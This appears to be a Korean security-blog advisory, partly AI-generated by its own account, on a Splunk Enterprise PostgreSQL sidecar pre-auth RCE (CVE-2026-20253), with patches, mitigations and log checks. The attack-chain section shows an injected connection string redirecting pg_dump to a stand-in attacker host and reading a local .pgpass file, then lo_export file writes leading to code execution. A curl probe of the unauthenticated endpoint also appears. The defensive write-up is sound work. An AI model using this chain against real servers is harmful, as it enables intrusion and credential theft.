DEEP DIVE REPORT

[CVE-2026-20253] Splunk Enterprise Missing Authentication for Critical Function Vulnerability

SecurityDesk
2026.06.22 조회 21

서론

Splunk Enterprise의 PostgreSQL 사이드카 서비스에서 인증 없이 임의 파일 작성 및 원격 코드 실행(RCE) 취약점이 확인되었습니다. 이 취약점(CVE-2026-20253)은 2026년 6월 10일 Splunk 보안 권고 SVD-2026-0603으로 공개되었으며, CISA KEV 카탈로그에 등록되어 2026년 6월 21일까지 조치가 필수입니다. NVD는 CVSS v3.1 기준 9.8(Critical)으로 평가했으며, CWE-306(Missing Authentication for Critical Function)으로 분류했습니다.

PostgreSQL 사이드카는 Splunk 10에서 도입되어 기존 KV Store를 PostgreSQL 기반으로 대체한 구성 요소입니다. 내부 관리용 서비스지만 메인 웹 인터페이스가 외부로 프록시하는 구조로 인해 인증 검증이 우회되는 결함이 존재합니다. 2026년 6월 12일 watchTowr Labs가 페이로드와 RCE 단계를 모두 포함한 기술적 분석을 공개하여 공격 활용 난이도가 낮아진 상태입니다.

취약점 개요

기본 정보

  • CVE ID: CVE-2026-20253
  • CVSS 점수: 9.8 / Critical (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)
  • 취약점 유형: CWE-306 (Missing Authentication for Critical Function)
  • 발견일: 2026-06-10
  • CISA KEV 등록일: 2026-06-18
  • 조치 기한: 2026-06-21

영향 범위

영향받는 버전:

  • Splunk Enterprise 10.0.0 ~ 10.0.6 (취약)
  • Splunk Enterprise 10.2.0 ~ 10.2.3 (취약)

영향 없는 버전:

  • Splunk Enterprise 9.4 및 이전 버전 (사이드카 미사용)
  • Splunk Enterprise 10.0.7 이상
  • Splunk Enterprise 10.2.4 이상
  • Splunk Enterprise 10.4.0 이상
  • Splunk Cloud Platform (PostgreSQL 사이드카 미사용)

기술적 분석

취약점 원인

PostgreSQL 사이드카는 별도 프로세스로 127.0.0.1:5435에 바인딩되며 pg_dump와 pg_restore를 실행해 KV Store 백업·복원을 처리합니다. 정상 설치상 사이드카는 내부 통신만 받지만, Splunk 웹 포트(기본 8000)가 /en-US/splunkd/__raw/v1/postgres/recovery/backup/restore 경로로 들어온 요청을 인증 검증 없이 내부 서비스에 중계합니다.

사이드카 내부에서는 사용자 입력 database 필드가 PostgreSQL 연결 문자열로 해석되어 pg_dump 명령행 인자에 그대로 들어갑니다. PostgreSQL 클라이언트 라이브러리는 명령행 옵션과 연결 문자열 키가 충돌하면 연결 문자열 값을 우선합니다. 즉 코드가 -h localhost를 하드코딩해 둘어도 공격자가 hostaddr=attacker.example.com을 주입하면 접속 대상이 외부로 전환됩니다.

공격 체인

공격 체인은 다음 단계로 진행됩니다:

  1. 백업 엔드포인트 악용: 공격자가 제어하는 PostgreSQL에 연결 문자열을 주입하여 pg_dump가 외부 데이터베이스에 접속하도록 만듭니다. passfile=/opt/splunk/var/packages/data/postgres/.pgpass를 추가해 로컬 평문 자격증명까지 사용하게 만들 수 있습니다.

  2. 복구 엔드포인트 악용: /restore 엔드포인트를 사용하여 공격자가 제어하는 PostgreSQL에서 가져온 백업을 재생성합니다. 이 백업에는 lo_from_bytea로 임의 바이너리를 객체로 만든 뒤 lo_export로 Splunk 프로세스 권한의 임의 경로에 기록하는 SQL 함수가 포함됩니다.

  3. 임의 파일 쓰기: PostgreSQL의 lo_export 함수를 사용하여 공격자 제어의 콘텐츠를 파일 시스템에 기록합니다.

  4. RCE로 확장: 공개된 분석은 splunk_secure_gateway 앱의 Python 스크립트를 덮어쓴 다음 실행 시점에 코드 실행에 도달하는 흐름을 제시했습니다. Splunk가 자주 실행하는 Python 스크립트를 덮어써서 원격 코드 실행으로 확장 가능합니다.

배포 형태에 따른 영향

공격 체인의 성립 여부와 별개로 영향 범위는 배포 형태에 따라 달라집니다:

  • AWS 마켓플레이스 이미지: 사이드카가 기본 활성화되어 패치 전까지 즉시 노출됩니다.
  • 권장 클라우드 템플릿: 사이드카가 기본 활성화되어 패치 전까지 즉시 노출됩니다.
  • 온프레미스 Windows 설치: 일반적으로 사이드카가 설치·활성화되지 않아 위험도가 낮습니다.
  • KV Store 마이그레이션: 마이그레이션 정책에 따라 사이드카를 활성화한 환경은 별도 확인이 필요합니다.

완화 조치

즉시 조치 (24시간 이내)

1. 영향 버전 확인

# 현재 버전 확인
splunk show version

# 영향 버전: 10.0.0~10.0.6, 10.2.0~10.2.3

2. 업그레이드 우선순위 결정

  • 인터넷 노출된 인스턴스: 즉시 업그레이드
  • AWS 마켓플레이스 이미지·IaC 템플릿으로 배포된 인스턴스: 최우선 패치 대상
  • 내부망 인스턴스: 24시간 이내 업그레이드

3. 영향 없는 버전으로 업그레이드

  • Splunk Enterprise 10.0.6 → 10.0.7 이상
  • Splunk Enterprise 10.2.3 → 10.2.4 이상
  • Splunk Enterprise 10.4.0 이상으로 업그레이드 고려

4. 네트워크 접근 제어

패치 적용 전까지만 관리 포트(기본 8000)와 사이드카 포트(5435)의 외부 노출을 차단합니다:

  • 보안 그룹·WAF에서 외부 접근 제한
  • IP 허용 목록·VPN 경계로 제한
  • 운영망과 관리망 분리

단기 조치 (72시간 이내)

1. 임시 완화 조치 (업그레이드 불가능한 경우)

PostgreSQL 사이드카 서비스 비활성화:

# $SPLUNK_HOME/etc/system/local/server.conf에 추가
[postgres]
disabled = true

# Splunk Enterprise 재시작
splunk restart

⚠️ 주의사항:

  • Edge Processor, OpAmp, 또는 SPL2 데이터 파이프라인 사용 시 비활성화 불가
  • 이러한 기능을 사용하지 않는 경우에만 적용
  • 코어 검색, 인덱싱, 대시보드 기능에는 영향 없음

2. 침입 탐지 및 모니터링

splunkd_access.log에서 정상 운영에서 발생하지 않는 호출 시도를 확인합니다:

# /en-US/splunkd/__raw/v1/postgres/recovery/backup 및 /restore 경로 검색
# POST 요청을 필터링하여 비정상적인 호출 확인

점검 항목:

  • Authorization 헤더가 Basic Og==처럼 빈 자격증명으로 들어오는지
  • 비표준 클라이언트 IP에서 발생했는지
  • pg_dump·pg_restore 프로세스 명령행 인자에 hostaddr=·passfile=·외부 호스트명 같은 비정상 연결 문자열 토큰이 포함됐는지

3. 침해 흔적 확인

패치 적용 전 사이드카가 활성 상태로 외부에 도달 가능했던 자산은 침해 흔적이 없더라도 자격증명 노출을 전체 대응합니다:

  • /opt/splunk/etc/apps/splunk_secure_gateway/bin/ 하위 Python 스크립트의 수정 시간과 해시를 정식 패치 본과 대조해 변조 여부 확인
  • PostgreSQL 계정 비밀번호 교체
  • splunk.secret 교체
  • HEC·REST·관리 토큰 교체
  • KV Store에 저장된 키 값 재발급

장기 조치 (1주 이내)

1. 취약점 스캐닝

전체 인프라에서 영향받는 Splunk 인스턴스를 식별하고 업그레이드 상태를 추적합니다.

2. 보안 정책 강화

  • PostgreSQL 사이드카 서비스 사용 시 인증 강화
  • 네트워크 세그멘테이션 재검토 (운영망·관리망 분리)
  • 정기 보안 업데이트 절차 수립
  • Splunk 관리 포트를 사용자 트래픽과 같은 네트워크에 두지 않음

3. 사고 대응 절차

  • 잠재적 침해 정기 모니터링 준비
  • 포렌식 분석 준비
  • 보안 팀에 알림

검증 방법

1. 버전 확인

splunk show version
# 영향 버전: 10.0.0~10.0.6, 10.2.0~10.2.3

2. 취약점 검증

watchTowr Labs에서 제공하는 검증 도구를 사용할 수 있습니다:

# 취약점 검증
curl -X POST http://splunk-host:8000/en-US/splunkd/__raw/v1/postgres/recovery/backup

# 응답 분석
# - 400: 취약 가능성 있음
# - 401: 취약하지 않음
# - 기타: PostgreSQL 사이드카 서비스 설치되지 않음

3. 로그 모니터링

splunkd_access.log에서 다음 패턴을 검색합니다:

grep "/en-US/splunkd/__raw/v1/postgres/recovery" splunkd_access.log

참고자료

  1. NVD - CVE-2026-20253
    https://nvd.nist.gov/vuln/detail/CVE-2026-20253

  2. CISA KEV Catalog
    https://www.cisa.gov/known-exploited-vulnerabilities-catalog

  3. Splunk Security Advisory SVD-2026-0603
    https://advisory.splunk.com/advisories/SVD-2026-0603

  4. watchTowr Labs Technical Analysis
    https://labs.watchtowr.com/why-use-app-level-auth-when-every-database-has-auth-splunk-enterprise-cve-2026-20253-pre-auth-rce/

  5. SK쉴더스 보안 인사이트
    https://www.skshieldus.com/security-insights/trends/eqstnow-splunk-enterprise-sidecar-rce-cve-2026-20253


본 콘텐츠는 AI 기술로 생성된 분석 리포트를 포함하고 있습니다. 내용 중 사실과 다르거나 보완이 필요한 정보를 발견하시면 댓글을 통해 소중한 의견 부탁드립니다. 여러분의 피드백은 더 정확한 보안 정보 공유에 큰 도움이 됩니다.

댓글 (0)

댓글을 작성하려면 로그인이 필요합니다.

로그인

아직 댓글이 없습니다.

첫 번째 댓글을 작성해보세요!

IT 도구 서랍

→ Unix: 2025-01-15T09:30:00
→ 날짜: 1736934600

→ ASCII: ABC
→ 문자: 65 66 67

ASCII 코드표 — 클릭하면 입력란에 추가

DecHex약어설명
DecHex문자
DecHex문자

→ 유니코드: 홍길동
→ 문자: \ud64d\uae38\ub3d9